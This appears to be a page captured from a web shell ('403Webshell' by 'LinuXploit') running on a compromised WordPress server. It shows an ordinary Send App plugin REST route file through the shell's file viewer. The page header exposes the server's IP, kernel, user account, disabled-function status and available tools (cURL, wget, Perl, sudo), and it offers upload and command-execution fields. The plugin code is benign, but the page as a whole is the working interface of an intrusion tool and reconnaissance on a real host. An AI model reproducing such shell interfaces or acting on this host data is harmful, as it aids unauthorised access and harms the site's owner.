403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/send-app/core/rest/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/send-app/core/rest/routes/integrations.php
<?php
namespace Send_App\Core\Rest\Routes;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

use Send_App\Core\Base\Route_Base;
use Send_App\Core\Integrations_Manager;
use Send_App\Core\Logger;
use Send_App\Plugin;

class Integrations extends Route_Base {
	public string $path = 'integrations';

	public const NONCE_NAME = 'wp_rest';
	public const LEVEL = 'level';

	public function get_methods(): array {
		return [ 'GET' ];
	}

	public function get_name(): string {
		return 'integrations';
	}

	public function GET( \WP_REST_Request $request ) {
		$valid = $this->verify_capability();
		if ( is_wp_error( $valid ) ) {
			return $valid;
		}

		$integration_manager = Plugin::instance()->get_integrations_manager();

		try {
			$integrations = $integration_manager->get_integration_modules( Integrations_Manager::INTEGRATION_STATUS_ALL );
			$integrations_info = [];
			foreach ( $integrations as $integration ) {
				$integrations_info[ $integration::get_name() ] = $integration->get_info();
			}
			return $this->respond_success_json( $integrations_info );
		} catch ( \Throwable $t ) {
			Logger::error( '[' . $t->getCode() . '] ' . $t->getMessage() );

			return $this->respond_error_json( new \WP_Error(
				$t->getCode(),
				$t->getMessage(),
				[ 'status' => 500 ]
			) );
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit